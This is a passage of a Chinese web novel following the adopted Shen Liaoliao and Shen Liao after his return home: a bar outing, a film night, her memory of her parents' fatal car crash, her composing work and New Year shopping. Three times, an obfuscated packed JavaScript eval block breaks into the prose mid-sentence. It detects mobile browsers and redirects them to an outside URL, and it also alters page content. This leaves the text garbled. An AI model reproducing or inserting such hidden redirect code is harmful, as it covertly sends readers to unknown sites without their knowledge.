里面的人笑着同沈燎道别,他懒散地扬了扬手,步履不急不缓,拉着离离走出包厢。 往酒吧外走的路上,项云天语气抱歉地对她说:“妹妹你别介意,他们经常开玩笑,没有恶意。” 沈离离笑了笑:“没事没事,我理解,主要是怕我哥被误会。” “误会什么?”沈燎忽然出声,回头瞧她。 沈离离缓慢地眨眼,一时不知该如何作答。 项云天朝着他的肩膀来了一掌:“当然是误会你和离离关系啊,要不是你们是亲兄妹,今晚这事明天就得传遍了。诶沈燎,祖宗,不是我说你,怎么自己过敏原都记不住啊!” 走出酒吧,冬夜晚风乍然往衣服里面钻,温度与酒吧内相比,可谓冰火两重天。沈离离忍不住缩了缩脖子。 沈燎把她羽绒服后面的帽子拉起来,罩在她脑袋上,轻轻拍了一下,才对项云天说:“不是亲兄妹。” “……啊?” “我和离离。我什么时候跟你说过我们是亲兄妹?” “不是,”项云天虎躯一震,“我说的是广义上的,离离不就是你堂妹么?沈三叔的女儿?” 从小到大,无论沈燎还是沈离离,都十分厌烦于解释这件事。 它并非不可言说,只是一旦提起,想要讲清楚,就必须得将沈离离的过去如同揭一层保鲜膜一样,从头到尾地撕开,甚至反反复复,没完没了,最终,还可能要再被质疑一番。 比如:你亲爹是谁?你妈到底有没有嫁进沈家?你为什么姓沈?沈君良为什么肯把遗产给你?他去世,沈家的人认你吗? 这些事,即使是在沈家,也是被尽量避免提及的话题。 但不回答的话,又显得太过讳莫如深,更易引人胡乱猜测。 两秒后,沈离离回头,微笑对他说:“我是被收养的。” 一片静默。 沈燎蹙起眉,垂眼看向她。 项云天尴尬地啊了一声,连说了两句不好意思。 司机在附近,两分钟后就到了。 项云天想陪着一起去医院,怕沈离离一人架不住他,被沈燎制止:“还没病到那步。” 项云天:“你还有脸说,这是谁的错啊。” 沈燎笑笑,对他道了句下次再聚,便带着离离上车离开。 车上,两人保持沉默。 过了一会儿,沈离离转过头,借着车窗外的光线,瞧见沈燎在抬手挠脸。 她立刻担心起来,还记得他现在算是个病人,问:“很痒吗?” 沈燎:“有点。” “我看看。”沈离离皱眉,微微靠近,把沈燎挠脸的手扒拉下来,仔细盯着他的脸看,看完,又拉起他的胳膊,将衣袖往上卷。脸上并不明显,但手臂已经起了小红疹。 他身上有酒气,并不好闻,盖住了他原本的气味,也让车里飘着酒味,迟迟散不尽。沈离离又想了想,自己也喝了不少酒,他们俩估计大差不差。 但其实沈燎并没有在她靠近时闻到酒味,只有淡淡的那一种,属于她的气味。 第一次如此清晰的察觉到女孩独有的香气,是在她十七八岁时。 她穿着睡裙跑下楼,笑嘻嘻地跟他要宵夜吃,经过他身前时,像一阵自带香气的温柔的风,又或许像被风轻拂的某种花朵。他觉得好闻,问她是不是喷了香水,她说没有呀。 他觉得奇怪,又问用的是什么味道的沐浴露。 她当时疑惑,说哥我们用的不是同一款吗。 他那时愣住,身体比大脑更快一步作出反应,耳根发热。 忽然间,腰被顺势勾住,猝不及防,沈燎在将她往怀里带。 沈离离心中警铃大作,以为他醉得认错人了,按住他的肩膀,在想着要推开,却像是自己也醉了,脑子已经不清醒,双臂竟没有动作。 沈燎这时才说:“沈离离,跟哥哥久别重逢,抱一下也不行?” 闻言,她才默不作声地呼了口气,抬手回抱了一下,慢吞吞地说:“三年,也没有很久。” “是吗?” “……嗯。” 沈燎松开她,笑了笑。 回到家,沈燎昏天黑地地吐了一番,找出吃的热了一下,往胃里塞了些东西,才吃下药。 沈离离担忧得不得了,全程皱着眉,表情严肃。被沈燎笑着打趣:“板着脸做什么,小孩子要多笑笑。” 她难得对他说了重话:“沈燎,都这样了,你还在嬉皮笑脸,能不能对自己身体情况有点数?” 察觉到她真的生气,沈燎才收起不着调的样子,吃了药,走到她身旁坐下,“我下次一定记着,今天可能是喝多了,没注意。” 说完,又轻拍她的背,柔声道:“别生气了,好不好?让你担心,我罪该万死,但我死了,你更难过,不如大小姐想个法子惩治一下,放我一马?” “又在说胡话,避重就轻。”她吐槽一句。 但也没真想要跟他吵架,沈离离叹了口气,还是顺着他递的台阶下了:“那就,陪我看个电影。” “行啊,现在就走?” 他说着就要起身去把她的外套拿来。 沈离离忙说:“不用,就在家看吧,影院太远,懒得再出门。” 计算时间,看完一部电影大概得到凌晨一点多。两人火速上了三楼,沈离离先到影音室挑片子,沈燎去拿了点吃的。 “想看什么?”沈燎走进来,顺便关了灯,把两条毯子和零食拿过来,坐到沙发里。 沈离离盘腿坐着,还在挑选。 一场临时起意的观影活动,选片实在让人纠结。爱情片,不大合适;恐怖片,恐怕要失眠;文艺片,他会有耐心看吗?她记得他以前看文艺片会睡着。 沈燎看她拧着眉,抿着唇,知道她又在举棋不定,而且多半是在考虑他是否喜欢。 他没犹豫,直接对她说:“翻翻你备忘录的片单,就挑最上面的。看你喜欢的就好,别忘记了,我是要戴罪立功的人。” 沈离离看他一眼,点了点头,马上拿起了手机。 昏暗中,沈燎垂眸凝望她,忽然有些说不清自己现在是什么心情。 和从前一样,她的喜好,习惯,他全都记得一清二楚,知道她会为哪些事情费神,知道她会担心什么,知道如何哄她高兴,什么样的相处方式让她舒服自在…… 他不断告诉自己,但他们之间,也必须和从前一样。 沈离离只有这一个家。 “战争片?”屏幕亮起,人物出现。 “嗯,”沈离离语气高昂了几分,片子是她很喜欢的一位外国导演拍的,“很早就想看,一直没机会。” “行,那今天正好。” 沈离离做大部分事情时都十分专心,是不折不扣的完美主义。看一部电影,一本书,只要给自己划定了时间范围,就绝不会再让其他事插进来。 接下来一个多小时,两人间的互动仅剩肢体。 沈燎将小毯子递给她披着,示意问她想不想吃东西,她都摇头,只要了一瓶果酒。 看到后面,沈燎眼皮打架,已经快要撑不住,转过头,见沈离离仍旧看得很认真,咬着唇,眼眶和鼻尖有点红。 他不解,回头继续看,原来正播到一个生死攸关的救援片段。 电影放完,果然临近两点钟。 沈离离伸了个懒腰,没有立刻关闭,片尾曲还响着。她飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321085|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快拿出手机,打字写下即时观后感,说:“哥你先去睡吧。” 得到了沈燎一声轻轻的嗯。 她微微一愣,抬起头,看到他已经垂下眼睫,可能是实在困得不行,竟然开始打瞌睡了。 她掀开了毯子,去把他拉起来,温声细语:“去卧室睡,在这儿容易着凉。” 沈燎嗅着她身上,令他安心熟悉的气味,跟着她下了楼,两人的卧室都在二楼,就在隔壁。沈离离把他按进被窝里,在床边站了一会儿。 思绪莫名翻涌,似乎想起了很多过去的事,但似乎,她好像又只是看着他发呆,平和而宁静,什么也没有想。 沈燎即将睡着,她忽然轻声问了句:“哥,问你个问题可以吗?只是好奇,没有……其他意思。” 他眯着眼,迷蒙地嗯了声。 她于是蹲下身,盯住他的眼睛,像是要趁着他朦胧之时,彻底将他灵魂看穿。 她小声说:“这三年,你有交女朋友吗?” 他停顿了好久,然后完全地闭上了眼:“离离。” “嗯?”沈离离耐心十足。 “记得他们今晚说的话吗,是真的。”一个一个的字往外蹦,真是困极了。 “什么话?” 下意识问出来后,沈离离才乍然反应过来。 今晚,他们说沈燎谈恋爱也要妹妹同意。 心跳声剧烈,沈离离察觉自己连呼吸也急促了几分。伴随着咚咚心跳声,甜蜜和酸涩交织成天罗地网,把她困得无路可逃。 他没有再出声回答,似乎已经熟睡。凑近了看,才发现眼底有淡淡青黑,满是疲态。 轻而缓慢地呼出了一口气,她关上灯和门,回了自己的房间。 沈离离六岁住进这栋宅子,在这间屋子睡了许多年,隔壁始终有沈燎在。 唯有这三年的寒暑假,谈不上漫长,却也绝不短暂的三年,她是独自一人住在这里。 隔壁的房间再次被允许敲响,可以收到确确实实的回应,竟然像在做梦。 沈离离目光落在床头柜上,那里摆着两个相框,一张是和父母的合照。摄于她十二岁那年,他们将她围在中间,目光柔和清润,充满对这个家的爱。母亲肚子微微隆起,已经在孕育新生命。 但在那之后不久,他们就和尚未出世的孩子一同葬身车祸。 另一张,是十五岁时和沈燎的合照。那年她初中毕业,沈燎带她去了北欧看极光。 沈离离自认为不是个爱回忆过去,给自己套上镶着回忆金边的枷锁的人。 但这一晚,她的思绪一直不受控制地在往回流淌。 想起十二岁那年五月,一个再平常不过的雨天。 已经上初中,但沈君良始终觉得女孩子要富养,不舍得离离去寄宿学校,始终派司机来回接送她,有空的时候,会和关瑶一起去接她放学,再到沈燎的高中校门口等待,带着孩子们出去吃饭。 那天是周五,在傍晚之前,也一切照旧。妈妈还提前说过,放学后要接她去南州,到沈家老宅参加家宴。 那天,妈妈的表情很幸福,满怀期待。或许是因为肚子里那个孩子,沈老爷子终于肯点头,同意沈君良将她明媒正娶,让二人领证结婚。 直到几滴雨落在额头上,凉意驱散困意。 离离坐在老师的办公室里,湿漉漉的眼睛一眨不眨地望着窗外雨幕。 她等到大雨将停,等到夕阳落山,也没有等到妈妈和爸爸。 老师拨了一次又一次电话,始终无人接听。 她开始有些慌乱,甚至在想,会不会是因为她做了什么不听话的事情,沈叔叔生气了,不来接她?那样的话,等会儿见了面,要先道歉…… 直到时针指向了七点半,老师接了个电话后牵起她的手,马不停蹄地往学校门口走去,语气里是如释重负:“你哥哥来接你了。” 她被老师拽着,为了跟上大人的步子吃力地小跑着。倏忽间,猝不及防地摔了一跤,跌到水坑里,校服瞬间沾上泥水。 寒冷和潮意穿透衣服,侵蚀进皮肤。在那一刻,她开始有了不祥的预感。 老师大惊失色,匆忙把她拉起来:“哎呦,没事吧?快回家去换身衣服,你哥哥就在外面,已经很晚了,老师也要回家了……” 雨水溅进鞋子,白色棉袜被浸湿,寒气顺着脚底往上爬,她哆嗦了一下,从来没有那么讨厌过雨天。 校门口停着一辆黑色宾利,一个撑着伞的少年站在车旁,穿着得体的西服,沉静无声。 离离抬头,远远与他对上视线,隔着雨水和雾气,还是看清了沈燎眼尾的红。 他走上前,眉皱得极深,从老师伞下将她接过来,把伞又往她头上移了点,对老师点头:“麻烦您了。” 老师始终在微笑:“不麻烦,如果不是车坏了,我该把小孩送回去的。” 沈燎没再多说,带着离离上了车。 “哥,”离离抬头,忍住泪意,拼命睁大眼睛望着他,“是不是出事了?” 沈燎没答话,拿了一张宽大的毛巾把她包裹起来,又叫她把鞋袜换了。 “哥,哥哥你别这样,别不说话……”她抓住他的手,咬着唇,还是看着他,像在看救命稻草。 沈燎仍旧不开口,回望了她两秒,眼眶再度发红。 下一秒,他伸手,把离离紧紧抱进了怀里,将她全然包裹。 他略微哽咽,声音低哑,说:“离离,以后不管怎么样,还有我在。哥哥永远不会丢下你。” 沈离离攥着他的衣袖,嚎啕大哭。 车子平稳地向南州行驶,寂静中唯有雨声淅淅沥沥。 4. 第 4 章 这一觉,沈燎一直睡到第三轮闹钟响才醒。 打开手机,数十条未读消息等待展开,一半来自项云天,时间跨度是一整晚,最近一条在两个小时前:沈燎你不会死了吧——!【大哭】【大哭】【大哭】 沈燎皱着眉回:能别那么晦气么。 切出去回复其他消息时,他忽然想起昨晚的事。 已经对电影的结局没有印象,他应该是睡过去了。还记得,是离离将他喊回卧室的,躺下之后呢?她是不是还说了什么? 沈燎下了床洗漱,准备早餐的时候,听见沈离离也下楼了。他没回头,叫她先坐着等一会儿。 吃早餐时,他问了句:“今天也要去琴行?” “嗯,马上过年了,可能要一直到年前关门才休息。” 沈燎点头,无法干涉她的决定,只好叫她劳逸结合。 桌上,沈离离低着脑袋,一边喝着热牛奶,一边说:“哥,你还记得你昨晚说了什么吗?” 沈燎顿了两秒,“什么?” “就昨晚,我拉你回房间,不是还跟你说了几句话吗。你还记得说的什么吗?”离离语气平常,似乎没什么惊奇的事。 他又沉默了一会儿,状似回忆,随后说:“记不清,可能太困了。我说什么了?” 沈离离这才抬头,略有怀疑地盯住他:“真的不记得?” “真的,”他笑道,“我骗你干嘛,到底怎么了,你偷偷骂我?” 沈离离垂下眼,抿了抿唇,随意地道:“是骂了你两句,陪我看电影还敢睡着,你承诺说下次补偿。要耍赖吗?” 沈燎一挑眉,抬眼笑看她:“肯定要补偿,这有什么好耍赖的,能不能稍微对你哥有点信任?” “你要是能保证不再不告而别,我就考虑一下吧。”她微微一笑,吃完东西,收了碗筷放回厨房,上楼换衣服去了。 沈燎没机会反驳,瞧着她的背影,停顿良久。 去公司的路上,沈燎接了秘书的电话。秘书名叫谢妍,是位严厉干练的女性,工作能力很强,原本在其他分公司,被沈燎高薪挖到了新分部。 电话里,谢妍说:“沈总,我今天下午到点就得走。” 沈燎表示了解:“去接女儿?” “对,”谢妍声音听上去有些疲惫,“早上送她去上钢琴课,下午原本是家教,家教老师今天请假了,我让她在琴行等着我。” 照往常,直接知会一声就好,没必要聊天。但这一回或许是谢妍难得主动说起这些,沈燎便接着问了句:“哪个琴行?” “爱乐琴行,就在安宁东路。” 沈燎哦了一声,轻描淡写的语气:“我记得那儿有个老师,姓沈。” “沈离离?”谢妍笑了笑,“我见过了,人确实不错,就是不知道教的怎么样。” “放心,不会差的。” 谢妍沉默,有些不确定:“你跟她认识?” 不像啊,这两人看着八竿子打不着,也没听说过沈燎有什么音乐方面的爱好。 “她是……”话未说完,沈燎忽地一停,不再多言,只道:“确实认识,挺熟的。” - 到了琴行,杨敬澄问了沈离离几句昨晚的后续情况,她没细说,只让他们不用担心。 待在琴行的一天十分规律,上课,弹琴,排练……一整天很快过去,时间像河流似的哗哗前进。 一周过去,沈离离逐渐适应了沈燎回家后的生活,也适应了自己的状态。 只不过去年就答应了一个朋友,为她比赛的短片进行创作和配乐,原计划年前就给对方发过去,却至今尚未完成。 晚饭时聊起这事,三人开始给她出主意。 杨敬澄:“这还不简单,多看看同类型的片子,感觉不就来了。” 殷恒说:“别勉强,合理预估自己的能力,做不了就别做。” 陈夏安认真思考片刻,一锤定音:“我们出去走走吧,大自然才是灵感源泉!” 两个女孩吃完晚饭,背起包就出了门。 没有目的地的漫游,两人纯粹靠感觉选择方向。 路上,沈离离详细跟陈夏安讲了一遍短片内容和对方需求,并说:“其实只差高潮的那一段,主旋律已经没问题,但在和声上,还是觉得差了点什么。” 陈夏安点点头,想方设法跟她就着和声聊下去,能多些想法,必然会有帮助。 逛了半小时,沈离离的脚步忽然慢下来,陈夏安顺着她的视线望过去,是一家装修复古的唱片店。 她们对视一眼,不需要出声询问,两个人默契地往里走去。 屋里正在播放滚石的《棕糖》,店员是个穿着红色外套的马尾辫女生,正抱着Switch玩游戏,听见门铃,头也没抬,说了句:“欢迎光临,随便看看。” 沈离离和陈夏安往里面走,发现这店里大多是摇滚乐队的唱片,两人一张张看过去,竟发现了二十多年前的经典专辑。 如同发现了埋有宝藏的新岛屿,激动地对视,又克制住兴奋。 “离离!快过来。”陈夏安轻声喊她。 沈离离走过去,定睛一看,是一支摇滚乐队的黑胶唱片,她从前与陈夏安说过,这是她最喜欢的乐队。 反复确认后,沈离离几乎想要尖叫。 这些年来,她收到过许多来自朋友的礼物,其中不乏有这个乐队的首版唱片。但他们从不知道,唯有这一张,是她的最爱。 她将唱片取下,珍重而郑重地查看,又仔细看了看专辑目录,目光定格在碟2第二首歌的歌名上 ——LoveOfMyLife. 接着,她们在并不十分宽阔的一间唱片店逛了五分钟,十分钟,二十分钟…… 结账时沈离离买了那张黑胶,陈夏安也找到了她偶像的精选集唱片。 两人满载而归。 回到家,沈离离甚至没来得及脱外套,换了鞋就跑进她的录音室。 沈燎慢吞吞走在她后面,提醒了句:“爬楼当心一点。” 他有时不太懂艺术家的作风,奇怪的行为一律当做被灵感噎到了。 那晚过后的第三天,沈燎照例开车到地铁站接她,她上了车,脸上是抑制不住的兴奋:“回家放首曲子给你听。” 沈燎忍不住挑眉,笑问:“你写的?” 她也笑着点点头。 这不是沈燎第一次进沈离离的录音室。她中学时就已经在尝试自己作曲编曲,虽然那时基础学得并不扎实,曲子也全都像是半成品,但沈燎还是遵从她的意愿,帮她一起,把书房改作了录音室。 房间里摆着许多乐器,管弦皆有,架子鼓和钢琴占了一块大地方。 沈离离八岁才开始学钢琴,在那时其实已经算大龄琴童。但之后,她凭借着惊人的毅力和天赋,将大部分乐器都摸了个遍。但上高中时,她犹豫不决,最终并没有选择国际高中,而是走了艺考,继而高考,留在海文。 上大学后,她开始与其他工作室合作,从去年起,已经不再取母亲留给她的钱,能够自己养活自己。 而这些,沈燎始终看在眼里。她的优秀,勤奋,他离开后她的独立自强,只靠自己在这世上站稳脚跟,他全都知道。 沈离离播放曲子,看向他。 起初,是一段孤独又空灵的小提琴,配器与背景音几近于无,曲子像河一样缓缓流淌,渐渐地,最简单的钢琴声出现,另一个声部的小提琴也流进来,全部在重复着主旋律,似不忍心离去而盘旋的鸟。 忧伤愈加强烈,剧烈,激烈……犹如倾盆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321086|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大雨。 让人分不清究竟是黄昏还是破晓,直到心脏随之震颤,浑身汗毛直立,像观看了一场电影的最高潮。 酣畅淋漓之后,雨过并非天晴,而是化成绵延不绝的细丝,连着最原始的忧伤,融入水流,荡漾完,也随之消逝。 四分钟后,长久的寂静。 “怎么样?”沈离离声音也很轻,像是不忍心打破宁静。 沈燎已经不知该如何形容,也不知道该如何吹捧,才能表达自己的真心实意。 沈离离仿佛看穿,忽然一笑,说:“要不,告诉我你看到了什么,联想到什么。” “离离,你知道我本科学的是数学。” “我知道,我还知道你高考语文一百三。” “……” 沈燎很认真地酝酿了一会儿,沈离离耐心等待着,直到他开口,带着点让自己都觉得尴尬的语气说:“感觉像看到了一个孤独的人,在寻找自我。” 闻言,她并没有嘲笑他文绉绉的形容,反而出乎意料,“你猜得很准。” “嗯?” 沈离离也拖了椅子坐下,温声讲述:“是个动画短片,讲的是一个机器人男孩生来就被赋予作为兵器,充当刽子手的使命,但后来他遇到了一个女孩,她意外开启了他的情感模块,教会他什么是爱,带他感受世界的美好。数十年后,女孩衰老,死亡,机器人带着她的精神继续走下去。” 沈燎明白了,但还是皱了皱眉:“是个悲剧?” “我觉得不算,”沈离离想了想,说,“因为最后机器人找到了生命的意义。” “爱和善良吗?” 她点点头:“算是吧。” 沈燎看着她,“你喜欢这个结局吗?” 她眨眨眼睛,笑说:“如果我说不喜欢,你能理解吗。” “能啊,因为我也不喜欢。” “那你想要什么样的结局?” “不知道,想不出来。”他抬眼,问:“你呢?” 沈离离忽然笑了,眸光中闪烁着狐狸一样狡黠的光芒,说:“我不能告诉你,等你想出你的答案,我们来交换。” 沈燎轻笑一声,别开眼,笑骂了句:“怎么这么幼稚呢沈离离。” “你懂什么,好东西要用好东西来换。”她笑眯眯。 他又听了些她这三年来的其他作品,亲耳听到她谈论自己的工作内容。 她聊起和声,调式,聊起喜欢的电影,最爱的导演,最崇拜的配乐师…… 讲这些的时候,她眉飞色舞,笑眼盈盈,却说得十分朴实,并无炫耀的意味。她对待任何人都是这样,温和,谦逊,维持礼貌的和谐,不会让人有丝毫不适。 沈燎从不认为自己是个耐心的人,艺术细胞更是近乎没有。 但他喜欢听她说这些,好像在她口中,看似枯燥的乐谱,也会变成飞来飞去的可爱精灵;难免乏味的古典乐,也能成为两个主角相爱相守的见证。 离开录音室,两人下楼回卧室。 沈燎忽然叫住她,“离离,我再问个问题。” “你问。” “未来有什么打算,想好了吗?” 开学后,她就是大三下学期,如有规划,该好好准备了。 沈离离表情一僵,两秒后,诚实道:“就……继续写歌,签公司或者自己开工作室什么的,当个作曲人。” “就这样?” 她抬头,“这样不好吗?” “挺好的。”沈燎笑了笑,叫她别多想。 但在沈离离走下楼梯,将要进入卧室时,他又一次出声,语速快了几分,异常认真:“离离,但哥还是希望,你能想清楚,自己到底想要什么。” 她一愣,应了声“嗯”,随后匆匆道晚安,关上房门。 5. 第 5 章 她到底想要什么? 沈离离答不出来,她每天问自己一百遍,除了更加内耗,更加迷茫之外,毫无作用。 未来,是个令人忧虑的存在,像太阳一样挂在天上,无法触碰,却时时刻刻让她焦躁。 但有些事注定无法急于求成,也不一定能得出答案的。她试图放过自己,不再胡思乱想。 转眼间,年关将至。 清晨,沈燎敲开了沈离离卧室的房门。 沈离离下床开门时怨气极重:“如果你是来说早上好的,那我一点儿也不好。” 沈燎哈哈大笑,揉了揉她乱糟糟的头发:“我听说你们琴行今天开始放假了?” “对,所以我要继续睡觉,”她慢吞吞地说完,才乍然意识到问题,缓缓抬起头,注视着沈燎,“你怎么知道我们放假了?” 问完,才又意识到,只要他想,或许能有数不清的渠道可以得知她的一切。 沈燎故作不可思议,语气还是懒洋洋的:“把我想成什么人了?”他也不卖关子,说:“公司秘书的小孩在跟你学钢琴。” “真的?谁呀?” 沈离离惊讶,这还是她头一次与沈燎身边的人扯上关系。 以前,他还是个混世公子哥的时候,她从不参加他的派对,自然不会认识他那群狐朋狗友;如今,他开始正经工作了,接触的仍然是与她沾不上一点边的金融圈子。 “姓谢,谢妍,有印象吗?” 沈离离点了点头,觉得神奇:“璇璇的妈妈居然是你的秘书。” 沈燎倚在门框旁,闻言挑了挑眉,盯住她:“什么意思?沈离离同学,你哥在你眼里到底是有多糟糕?” 她咯咯地笑:“我可没这么说。” 插科打诨一番,沈离离也没了睡意,索性洗漱完下楼和沈燎一起吃早餐。 吃到一半,才想起正事:“所以,你叫我起来到底是什么事?” “终于知道问了,”沈燎看了她一眼,说,“吃完去换衣服,出去逛逛。” 沈离离反应过来,“是要去买过年用的东西?” “嗯,周三就是除夕,趁周末,陪你去逛。” “沈总,你们公司什么时候开始放年假?” “周三。” 她评价:“好恶毒的老板。” 沈燎哼笑一声:“好天真的大学生。” 吃过早餐,沈离离回衣帽间换衣服,想起沈燎今天的黑色大衣。她犹豫许久,挑挑拣拣,最终穿了一件白色大衣来搭毛呢长裙。 两人一黑一白,穿戴整齐出了门。 沈离离并不热衷于购物,衣食方面,她物欲很低。但她尤其喜欢逛街的过程,喜欢观察,喜欢听,来自四面八方的,各种各样的人和声音。 另一点是,她喜欢和沈燎一起行走在陌生的人群中。 这是为数不多的,他们看上去最不像兄妹的时刻。 这一趟沈燎亲自开车。沈离离记得他最爱的是一台黑色跑车,双座,内饰炫酷,发动机也改装过,动力十足。三年前,沈燎最喜欢的娱乐项目是玩车,似乎是在海文湾附近,他还有个超跑俱乐部。 只是不知道那俱乐部如今怎么样,也不知道,他的喜好是否发生变化。 她看得出来,这次回国,沈燎变得稳重太多,似乎也更接地气了。 换从前,大概只会让阿姨采买物资,懒得出门逛超市。 推着购物车,沈离离感慨:“哥,这是你第一次陪我逛超市。” 沈燎慢悠悠走在她身旁:“又胡说。” “哪里是胡说。” 沈燎转回头来,垂眸看她,开始细数:“你还小的时候,关姨和三叔很忙,都是我带你出去玩,虽然不逛超市,但家里的商城几乎走遍了。还有,你十岁那年,我们四个人一起逛过超市的。” 他一说,她就想起来了。那次同样是新年,三叔说要亲自下厨,也没让家中阿姨准备,全家四人一起出门采购食材。 而她小时候,在沈燎未上高中前,倒确实一半时间都是带着她一块玩的。 即使上了高中,他在学业上也并不上心,依旧沉迷吃喝玩乐。狐朋狗友们都在中学时就被家里送出国,要么就是去了国际学校,只有他,偏要留在海文上大学,说不放心,要替三叔一直看小妹妹长大。 他为上学的事和父母吵过很多次,总之十分抵触出国。 沈离离不知道,沈燎的妹控标签就是那时被钉上的。 “哎,等一下,”沈燎盯住她的手,“少吃垃圾食品,你胃那么脆弱。” 沈离离还是抓着那袋辣条,舍不得放手。抬头朝他眨眼,可怜巴巴:“我又不经常吃,只是尝尝。” 沈燎态度坚决,不为所动:“尝完你就该拉肚子。” “不会的,我才没那么脆弱,你都离开多久,已经不了解我的胃了。”说完,她顶着沈燎复杂的神色,狠下心,把辣条放进了购物车。 她这话似乎把他伤得不轻,接下来一路,沈燎都有些兴致缺缺。 沈离离着急弥补,逛到蔬菜区时,忙说:“这个大白菜很新鲜,肯定健康,我记得你挺喜欢吃。” 沈燎顺着她的手看过去,忍住笑,存心逗她,“我什么时候爱吃大白菜了。况且,这不是娃娃菜么?” “啊?”她迟疑了。 沈燎继续说:“离离,怎么那么大了,连菜名都还分不清楚?” “那就……娃娃菜,买几颗吧。” 沈燎憋不住,噗嗤笑了两声。她疑惑,瞅了他一眼,绕到前面一看,牌子上明明就写着“大白菜”。 沈离离沉默住,不想再理他。 沈燎知道她是挂不住面子,上前来哄人,带着笑说:“是我错了,不该逗你,别生气了?” 沈离离:“我就不该和你出来。” “好好好,不该和我出来,平白无故要受气,都是我的错,别气到自己了,嗯?” 她仍旧不理,结账时也先出了超市,叫他自己排队。 结完账,他走出来却没在门口看见她,把东西交给司机带回家后就连忙去找人。 刚要打电话过去,方才在超市里见过的一个女生看了他一眼,说:“帅哥,你女朋友在那个咖啡店里呢。” 沈燎微愣,朝对方点头道了句谢。 走向咖啡店的几步路程里,脑海全部被那句无心的“女朋友”占据。 心跳得飞快,似乎连脸也有点热,从来不敢想象,会有人对他以那样的称呼指代她。 走近了,沈燎才看见沈离离坐在窗边,心有灵犀似的,她也转头,与他对上视线。 咖啡杯里冒出袅袅热气,店里灯光是暖色,相比外面的灰白天空,显得更加温馨甜蜜。 她看着他,半秒有余,忽然忍不住笑出来。他甚至能想象出她的笑声如何轻盈悦耳,什么铃铛或是清泉的叮咚,甚至再专业的音乐术语,无法描述得贴切。 沈燎推开门走进去,带着屋外的寒气,坐到她对面。 “你怎么找到我的?”她笑问。 此话一出,就知道已经消气了。沈燎望着她,也弯了弯唇,“靠直觉,厉害吧。” “不信。”她笑着说完,问他想不想喝东西,她请客。 沈燎说妹妹难得大方,恭敬不如从命,便也点了杯和她一样的热咖啡。 两人坐了一会儿,喝完回家。 除夕早上,姑姑打来电话,叫他们一起来吃团圆饭。 司机放假了,沈燎开车带沈离离过去。除夕街道上车不多,他去车库取了那辆黑色跑车出来。 沈离离坐进去,第一件事是连蓝牙放音乐,“你这车的音响很好。” 沈燎笑了笑,说:“要不你挑一辆,还有音响更好的。” 他语气漫不经心,沈离离却知道他没在开玩笑。因为三年前,他也曾说过想买辆车当做她的成人礼。 不过后来此事不了了之,因为他没等到她十八岁生日就出国离开了。 沈离离划拉手机屏幕,放了首摇滚乐,说:“音响可以,车就算了,我不爱开车。” “行。”他没多说,似乎是也想起三年前。 到了姑姑家,没看见人,沈离离往花房里走去,果然看见沈君玉坐在里面喝下午茶,小桌上摆了一本书,很有名的外国戏剧。 “这么早就过来了?”姑姑看见她,笑了,招呼她过来坐,起身又去拿了一份茶点。 离离:“我哥打算亲自下厨,姑姑你快去点菜,不要放过他。” 沈君玉感到诧异,“真的假的?他会做饭?” 沈离离点头,抿了一口热红茶,说:“我原本也不信,前两天阿姨不在,他做了一次晚饭,还不错。” “那倒是得好好尝尝了。” 两人采了些鲜花,回到客厅,沈君玉要教离离剪花插花。这是门颇有讲究的学问,沈离离虽没什么兴趣,但也不好叫姑姑败兴致,便跟着认真学。 话间,姑姑问她有没有喜欢的花。 沈离离想了想,说:“喜欢浅色的玫瑰。” 姑姑问是否有缘由,她笑道:“我还挺肤浅的,单纯觉得玫瑰漂亮,但深色又太浓烈,觉得驾驭不来,还是浅色好。” “傻孩子,你配深色最好看。”姑姑就着她的眉眼、面部线条说了许多,总之是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321087|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲她这样温婉大方的长相,无论配什么颜色,都能相得益彰。 姑姑最终对她说:“大胆尝试,顾虑太多才容易失败。” 晚上五点多,沈离离进厨房给沈燎打下手,终于赶在七点前上菜了。 沈燎能力有限,只做出了五道菜,但沈君玉不讲究,他们兄妹二人自然也不会讲究。 饭桌上,姑姑对沈燎的手艺给出了极高的评价,甚至有几分不可置信,笑着问他:“这几年还专门去学烹饪了?” 十分平常的玩笑话,沈离离却悄悄抬眼,看向沈燎。 他回来已经过去三个星期,但他们二人始终默契地没有聊起分开的时间里,沈燎究竟去做了些什么。这三年,他想必知晓她的一切,她却对他一无所知。 “专门学倒是不至于,不然还能做得更好。就是外国饭太难吃,想吃点好的,只能自力更生了。”他也半开玩笑地回应。 姑姑觉得奇怪:“你自己一个人住?”怎么连做饭的人也没有。 